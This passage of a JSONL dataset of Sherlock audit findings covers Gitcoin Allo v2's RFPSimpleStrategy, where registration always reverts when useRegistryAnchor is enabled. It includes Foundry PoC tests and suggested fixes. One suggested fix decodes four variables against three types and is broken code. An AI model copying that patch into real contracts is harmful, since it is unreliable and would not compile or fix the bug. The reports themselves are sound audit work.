default zero address, then the function would revert on L362.\n```solidity\nFile: contracts\\strategies\\rfp-simple\\RFPSimpleStrategy.sol\n314: function _registerRecipient(bytes memory _data, address _sender)\n315: internal\n316: override\n317: onlyActivePool\n318: returns (address recipientId)\n319: {\n320: bool isUsingRegistryAnchor;\n321: address recipientAddress;\n322: address registryAnchor;\n323: uint256 proposalBid;\n324: Metadata memory metadata;\n325: \n326: // Decode '_data' depending on the 'useRegistryAnchor' flag\n327: if (useRegistryAnchor) {//@audit missing recipientAddress\n328: /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n329: (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n330: \n331: // If the sender is not a profile member this will revert\n332: if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n333: } else {\n334: // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n335: (recipientAddress, registryAnchor, proposalBid, metadata) =\n336: abi.decode(_data, (address, address, uint256, Metadata));\n337: \n338: // Check if the registry anchor is valid so we know whether to use it or not\n339: isUsingRegistryAnchor = registryAnchor != address(0);\n340: \n341: // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n342: recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n343: \n344: // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n345: if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n346: }\n347: \n348: // Check if the metadata is required and if it is, check if it is valid, otherwise revert\n349: if (metadataRequired && (bytes(metadata.pointer).length == 0 || metadata.protocol == 0)) {\n350: revert INVALID_METADATA();\n351: }\n352: \n353: if (proposalBid > maxBid) {\n354: // If the proposal bid is greater than the max bid this will revert\n355: revert EXCEEDING_MAX_BID();\n356: } else if (proposalBid == 0) {\n357: // If the proposal bid is 0, set it to the max bid\n358: proposalBid = maxBid;\n359: }\n360: \n361: // If the recipient address is the zero address this will revert\n362: if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n363: \n364: // Get the recipient\n365: Recipient storage recipient = _recipients[recipientId];\n366: \n367: if (recipient.recipientStatus == Status.None) {\n368: // If the recipient status is 'None' add the recipient to the '_recipientIds' array\n369: _recipientIds.push(recipientId);\n370: emit Registered(recipientId, _data, _sender);\n371: } else {\n372: emit UpdatedRegistration(recipientId, _data, _sender);\n373: }\n374: \n375: // update the recipients data\n376: recipient.recipientAddress = recipientAddress;\n377: recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n378: recipient.proposalBid = proposalBid;\n379: recipient.recipientStatus = Status.Pending;\n380: }\n\n```\n\n\n\n## Impact\nRegistering recipient is a core step of ````RFPSimpleStrategy```` , this issue causes all ````RFPSimpleStrategy```` instances with ````useRegistryAnchor```` enabled become useless.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314\n\n## Tool used\n\nManual Review\n\n## Recommendation\nPassing and decoding ````recipientAddress```` in all cases.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/432.md"}} +{"title":"Cannot register recipient if `useRegistryAnchor` is set to `true` in RFPSimpleStrategy","severity":"medium","body":"Recumbent Citron Mustang\n\nmedium\n\n# Cannot register recipient if `useRegistryAnchor` is set to `true` in RFPSimpleStrategy\n\nIn the contract RFPSimpleStrategy, the function [`_registerRecipient()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314) expects a `recipientAddress` but when the strategy has `useRegistryAnchor` set to `true`, no `recipientAddress` is passed in the params resulting in the function to revert.\n\n## Vulnerability Detail\n\nDuring the [`_registerRecipient()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314) function, the `recipientAddress` cannot be `address(0)` as it will be used to distribute tokens to the recipient.\n\nThus it is checked in the function on [line 362](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362) but when the strategy has `useRegistryAnchor = true`, the data provided doesn't hold the `recipientAddress` so it will result in reverting as it will be set to `address(0)`.\n\n## Impact\n\nMedium. If `useRegistryAnchor = true` no one will be able to register and the pool won't be usable.\n\n## Code Snippet\n\nError snipet.\n\n```solidity\nif (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n...\nif (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n```\n\nHere is a poc that can be copy pasted in RFPSimpleStrategy.t.sol.\n\n```solidity\nfunction test_registerRecipient_useAnchor_revert() public {\n //deploy strategy with useAnchor = true\n RFPSimpleStrategy testStrategy = new RFPSimpleStrategy(address(allo()), \"RFPSimpleStrategy\");\n vm.prank(address(allo()));\n testStrategy.initialize(1337, abi.encode(maxBid, true, metadataRequired));\n assertEq(testStrategy.getPoolId(), 1337);\n assertEq(testStrategy.useRegistryAnchor(), true);\n assertEq(testStrategy.metadataRequired(), metadataRequired);\n assertEq(testStrategy.maxBid(), maxBid);\n\n //set data for registering\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n address anchor = profile1_anchor();\n bytes memory data = abi.encode(anchor, 1e18, metadata);\n\n //try to register\n vm.prank(address(allo()));\n vm.expectRevert(abi.encodeWithSelector(RECIPIENT_ERROR.selector, profile1_anchor()));\n address recipientId = testStrategy.registerRecipient(data, profile1_member1());\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider setting `recipientAddress = recipientId` in the `if (useRegistryAnchor)` section.\n\nAdditionally `recipient.useRegistryAnchor` will always be set to false as it uses `isUsingRegistryAnchor` instead of `useRegistryAnchor` which is only set when `useRegistryAnchor = false` so consider updating this part aswell.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/425.md"}} +{"title":"Not possible to register recipients when using registry anchor in RFP Strategies","severity":"medium","body":"Digital Berry Horse\n\nhigh\n\n# Not possible to register recipients when using registry anchor in RFP Strategies\nNot possible to register recipients when using registry anchor in RFP Strategies since the transaction will always revert.\n## Vulnerability Detail\nWhen using _registerRecipient()_ the variable _recipientAddress_ will only be set if _useRegistryAnchor_ is false. This means, that if we want to use a registry anchor in our strategy, we will always get the transaction reverted with _RECIPIENT_ERROR_ when trying to register a recipient. Here is a PoC:\n\n function test_registerRecipientNotWorkingWhenUsingRegistryAnchor() public {\n RFPSimpleStrategy strategyUsingRegistryAnchor;\n strategyUsingRegistryAnchor = new RFPSimpleStrategy(address(allo()), \"RFPSimpleStrategyUsingRegistryAnchor\");\n\n vm.prank(pool_admin());\n poolId = allo().createPoolWithCustomStrategy(\n poolProfile_id(),\n address(strategyUsingRegistryAnchor),\n abi.encode(maxBid, true, metadataRequired), // We want to use registry anchor\n NATIVE,\n 0,\n poolMetadata,\n pool_managers()\n );\n\n address sender = recipient();\n bytes32 poolProfileId = registry().createProfile(\n 0, \"Pool Profile for test\", Metadata({protocol: 1, pointer: \"PoolProfile for test\"}), sender, pool_managers()\n );\n address poolProfileAnchor = registry().getProfileById(poolProfileId).anchor;\n\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n address anchor = poolProfileAnchor;\n\n bytes memory data = abi.encode(anchor, 1e18, metadata); // We don't encode \"recipientAddress\" since we are using registry anchor\n\n // Recipient ID must be an Anchor\n vm.prank(address(allo()));\n address recipientId = strategyUsingRegistryAnchor.registerRecipient(data, sender); // This fails because recipientAddress is not set\n }\n\nOutput:\n[FAIL. Reason: RECIPIENT_ERROR(0xE4b1D7ae386E2D5C25B5FCC960cFCC7293B3B985)] test_registerRecipientNotWorkingWhenUsingRegistryAnchor()\n## Impact\nRFP Strategies that are deployed with _useRegistryAnchor == true_ will be unusable, since no recipients will be able to be registered. This will cause a lose of funds from the users that created pools with these strategies, paying the fees and gas costs of deploying them.\n## Code Snippet\nFunction which doesn't work as intended:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L307-L380\n## Tool used\n\nManual Review and Foundry\n\n## Recommendation\nWe should also encode _recipientAddress_ into the _data_ even if _useRegistryAnchor_ is true.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/340.md"}} +{"title":"RFPSimpleStrategy._registerRecipient() cant be usable with useRegistryAnchor==true","severity":"medium","body":"Passive Golden Skunk\n\nmedium\n\n# RFPSimpleStrategy._registerRecipient() cant be usable with useRegistryAnchor==true\n\n## Vulnerability Detail\n```solidity\nif (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata)); //@audit\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } \n```\nIn RFPSimpleStrategy, if useRegistryAnchor=true, recipientAddress is not decoded from _data causing [registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380) to always [revert due to recipientAddress being 0.](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362)\n## Impact\nthe registerRecipient() function cant be usable with the registry anchor.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n## Tool used\n\nManual Review\n\n## Recommendation\nDecode the recipientAddress from _data when useRegistryAnchor is true.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/329.md"}} +{"title":"The two RFP sttrategies cannot be used with useRegistry anchor on","severity":"medium","body":"Merry Punch Caterpillar\n\nmedium\n\n# The two RFP sttrategies cannot be used with useRegistry anchor on\n\nRFPSimpleStrategy._registerRecipients reverts if recipientAddress is 0. If useRegistryAnchor is on, this variable is never set, meaning it always reverts.\n\n## Vulnerability Detail\n\nSee summary\n\n## Impact\n\nWith an RFP strategy, cannot require people to use Allo's authentication\n\n## Code Snippet\n\nThe code is below. Note how `recipientAddress` gets initialized to 0 and then never set along this path. Then the code reverts.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L320-L362\n\n```solidity\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // ...\n // other branch elided\n // ...\n }\n\n // ...\n // checks on metadata and proposalBid\n // ...\n\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTake recipientAddress as an element of _data, as in the other strategies.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/254.md"}} +{"title":"The `RFPSimpleStrategy._registerRecipient()` does not work when the strategy was created using the `useRegistryAnchor=true` causing that nobody can register to the pool","severity":"medium","body":"Brief Mahogany Tiger\n\nmedium\n\n# The `RFPSimpleStrategy._registerRecipient()` does not work when the strategy was created using the `useRegistryAnchor=true` causing that nobody can register to the pool\n\nThe [RFPSimpleStrategy._registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314) does not work when the strategy was created using the `useRegistryAnchor=true` causing that no one can register to the pool and the funds sent to the pool may be trapped.\n\n## Vulnerability Detail\n\nThe `RFPSimpleStrategy` strategies can be created using the `useRegistryAnchor` which indicates whether to use the registry anchor or not. If the pool is created using the `useRegistryAnchor=true` the [RFPSimpleStrategy._registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314) will be reverted by [RECIPIENT_ERROR](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362C52-L362C67). The problem is that when `useRegistryAnchor` is true, the variable [recipientAddress is not collected](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L329-L332) so the function will revert by the [RECIPIENT_ERROR](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362).\n\nI created a test where the strategy is created using the `userRegistryAnchor=true` then the `registerRecipient()` will be reverted by the `RECIPIENT_ERROR`.\n\n```solidity\n// File: test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest\n// $ forge test --match-test \"test_registrationIsBlockedWhenThePoolIsCreatedWithUseRegistryIsTrue\" -vvv\n//\n function test_registrationIsBlockedWhenThePoolIsCreatedWithUseRegistryIsTrue() public {\n // The registerRecipient() function does not work then the strategy was created using the\n // useRegistryAnchor = true.\n //\n bool useRegistryAnchorTrue = true;\n RFPSimpleStrategy custom_strategy = new RFPSimpleStrategy(address(allo()), \"RFPSimpleStrategy\");\n\n vm.prank(pool_admin());\n poolId = allo().createPoolWithCustomStrategy(\n poolProfile_id(),\n address(custom_strategy),\n abi.encode(maxBid, useRegistryAnchorTrue, metadataRequired),\n NATIVE,\n 0,\n poolMetadata,\n pool_managers()\n );\n //\n // Create profile1 metadata and anchor\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n address anchor = profile1_anchor();\n bytes memory data = abi.encode(anchor, 1e18, metadata);\n //\n // Profile1 member registers to the pool but it reverted by RECIPIENT_ERROR\n vm.startPrank(address(profile1_member1()));\n vm.expectRevert(abi.encodeWithSelector(RECIPIENT_ERROR.selector, address(anchor)));\n allo().registerRecipient(poolId, data);\n }\n```\n\n## Impact\n\nThe pool created with a strategy using the `userRegistryAnchor=true` can not get registrants because `_registerRecipient()` will be reverted all the time. If the pool is funded but no one can be allocated since [there is not registered recipients](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L397), the deposited funds by others may be trapped because those are not [distributed](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L429) since there are not `registrants`.\n\n\n## Code Snippet\n\n- [_registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nWhen the strategy is using `useRegistryAncho=true`, get the `recipientAddress` from the `data`:\n\n```diff\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n-- (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n++ (recipientId, recipientAddress, proposalBid, metadata) = abi.decode(_data, (address, address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/245-best.md"}} +{"title":"recipientAddress, useRegistryAnchor is not valid assigned when the recipient is registered","severity":"medium","body":"Expert Stone Porcupine\n\nfalse\n\n# recipientAddress, useRegistryAnchor is not valid assigned when the recipient is registered\n\nOn _registerRecipient function, recipient's recipientAddress is not assigned in case of useRegistryAnchor is true and recipient's useRegistryAnchor is assigned with invalid value.\n\n## Vulnerability Detail\n\nOn line 329, recipientAddress is not extracted from the metadata.\nOn line 377, useRegistryAnchor is assigned with invalid value.\n## Impact\n\nAlthough the valid recipient is registered, this registration will be always reverted if useRegistryAnchor is true because of recipientAddress is alway zero if useRegistryAnchor is true. \nrecipient.useRegistryAnchor is not assigned with true although useRegistryAnchor is true.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L329\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L377\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe full code I recommend is as follows.\n\n
\n\tfunction _registerRecipient(bytes memory _data, address _sender)\n\t\tinternal\n\t\toverride\n\t\tonlyActivePool\n\t\treturns (address recipientId)\n\t{\n\t\tif (useRegistryAnchor) {\n\t\t\t/// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n\t\t\t(recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\t\t\t(recipientAddress, recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\t\t\t// If the sender is not a profile member this will revert\n\t\t\tif (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n\t\t} else {\n\t\t\t...\n\t\t}\n\t\t...\n\t\trecipient.recipientAddress = recipientAddress;\n\t\trecipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n\t\trecipient.useRegistryAnchor = useRegistryAnchor ? true : isUsingRegistryAnchor;\n\t\trecipient.proposalBid = proposalBid;\n\t\trecipient.recipientStatus = Status.Pending;\n\t}\n
","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/235.md"}} +{"title":"Registering a recipient for a RFPSimpleStrategy while useRegistryAnchor is true will always revert","severity":"medium","body":"Mysterious Lava Lynx\n\nmedium\n\n# Registering a recipient for a RFPSimpleStrategy while useRegistryAnchor is true will always revert\n\nWhenever a recipient is being registered for a strategy, there is a variable deciding if the registry's anchor should be used or a recipient address of choice. For the `RFPSimpleStrategy`, the variable `useRegistryAnchor` is used to decide if a registry's anchor should be used or a recipient address.\n\n## Vulnerability Detail\nHowever when registering recipients to `RFPSimpleStrategy` and `useRegistryAnchor` is set to true, their registration will always revert.\n\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n\n //@audit when useRegistryAnchor is true, no recipientAddress is set\n\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n\n } else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n \n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n }\n\n // Check if the metadata is required and if it is, check if it is valid, otherwise revert\n if (metadataRequired && (bytes(metadata.pointer).length == 0 || metadata.protocol == 0)) {\n revert INVALID_METADATA();\n }\n\n if (proposalBid > maxBid) {\n // If the proposal bid is greater than the max bid this will revert\n revert EXCEEDING_MAX_BID();\n } else if (proposalBid == 0) {\n // If the proposal bid is 0, set it to the max bid\n proposalBid = maxBid;\n }\n \n //@audit when useRegistryAnchor is set to true, no recipientAddress will be set so this will always revert\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n // Get the recipient\n Recipient storage recipient = _recipients[recipientId];\n\n if (recipient.recipientStatus == Status.None) {\n // If the recipient status is 'None' add the recipient to the '_recipientIds' array\n _recipientIds.push(recipientId);\n\n emit Registered(recipientId, _data, _sender);\n } else {\n emit UpdatedRegistration(recipientId, _data, _sender);\n }\n\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n }\n```\nAs you can see by the @audit tags, when `useRegistryAnchor` is set to **true**, no `recipientAddress` address is set, then the tx will be reverted because of this check:\n\n`if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n`\n \n## Impact\n\nRegistering a recipient when `useRegistryAnchor` is set to true, will always revert.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe problem is only present at this particular strategy, look at the other strategies for a proper set up.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/214.md"}} +{"title":"Recipient registration always fails when RFPSimpleStrategy uses registry anchor","severity":"medium","body":"Silly Carob Opossum\n\nmedium\n\n# Recipient registration always fails when RFPSimpleStrategy uses registry anchor\n\nThere is an incorrect implementation of the `_registerRecipient` function in `RFPSimpleStrategy` when it uses registry anchor. It's impossible to register a recipient, if the strategy is initialized with `useRegistryAnchor = true`. Additionally, in this case `useRegistryAnchor` param of the recipient itself is always set to `false`, although seems that the opposite should always be `true`.\n\n## Vulnerability Detail\n\nRecipient registration flow depends on the strategy `useRegistryAnchor` param.\n\n```solidity\nbool isUsingRegistryAnchor;\naddress recipientAddress;\naddress registryAnchor;\nuint256 proposalBid;\nMetadata memory metadata;\n\n// Decode '_data' depending on the 'useRegistryAnchor' flag\nif (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n} else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n}\n```\n\nIn case of using registry anchor `recipientAddress` isn't initialized and check that it isn't the zero address always fails.\n\n```solidity\n// If the recipient address is the zero address this will revert\nif (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n```\n\n`isUsingRegistryAnchor` is also not initialized, and `recipient.useRegistryAnchor` set to default value (`false`).\n\n```solidity\nrecipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n```\n\n## Impact\n\n1. It's impossible to register a recipient.\n2. In the current implementation, there is no impact that `recipient.useRegistryAnchor` param is set to the wrong value because it's unused. But strategies that are inherited from `RFPSimpleStrategy` and have logic that depends on this param may encounter unexpected results.\n\n## POC\n\nChange `useRegistryAnchor` to `true` in `RFPSimpleStrategyTest` setup.\n\n```solidity\nfunction setUp() public {\n ...\n useRegistryAnchor = true;\n ...\n}\n```\n\nAdd this test, run with `forge test --mc RFPSimpleStrategyTest --mt testPOC -vv`.\n\n```solidity\nfunction testPOC() external {\n address sender = profile1_owner();\n address anchor = profile1_anchor();\n\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n bytes memory data = abi.encode(anchor, maxBid, metadata);\n\n vm.prank(address(allo()));\n vm.expectRevert(abi.encodeWithSelector(RECIPIENT_ERROR.selector, anchor));\n address recipientId = strategy.registerRecipient(data, sender);\n}\n```\n\nAfter that implement some logic of setting `recipientAddress` when `RFPSimpleStrategy` contract uses registry anchor.\n\nFor example:\n```solidity\nrecipientAddress = _sender;\n```\nor:\n```solidity\nrecipientAddress = recipientId;\n```\n\nAdd second test, run with `forge test --mc RFPSimpleStrategyTest --mt testPOC2 -vv`.\n\n```solidity\nfunction testPOC2() external {\n address sender = profile1_owner();\n address anchor = profile1_anchor();\n\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n bytes memory data = abi.encode(anchor, maxBid, metadata);\n\n vm.prank(address(allo()));\n address recipientId = strategy.registerRecipient(data, sender);\n\n RFPSimpleStrategy.Recipient memory _recipient = strategy.getRecipient(recipientId);\n assertEq(_recipient.useRegistryAnchor, false); // but true expected\n}\n```\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L307-L380\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n1. Add tests that cover different strategy settings.\n3. Implement `recipientAddress` setting when `RFPSimpleStrategy` contract uses registry anchor.\n4. Fix `recipient.useRegistryAnchor` value.\n```solidity\nrecipient.useRegistryAnchor = (useRegistryAnchor || isUsingRegistryAnchor) ? true : recipient.useRegistryAnchor;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/211.md"}} +{"title":"`useRegistryAnchor == true` breakes the logics of `RFPSimpleStrategy._registerRecipient()`","severity":"medium","body":"Cuddly Pewter Shark\n\nmedium\n\n# `useRegistryAnchor == true` breakes the logics of `RFPSimpleStrategy._registerRecipient()`\nThere's no way to execute `Allo.registerRecipient()` when `useRegistryAnchor == true` in `RFPSimpleStrategy`.\n\n## Vulnerability Detail\n`RFPSimpleStrategy._registerRecipient()` is intended to be possible to execute in two different ways based on `useRegistryAnchor` variable that is set during the initialization of a strategy. But in the case with `useRegistryAnchor == true` the memory variable `recipientAddress` will always be equal to zero and the function will revert because of this later.\n\n```solidity\n...\naddress recipientAddress;\n...\n\n// Decode '_data' depending on the 'useRegistryAnchor' flag\nif (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n} else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert 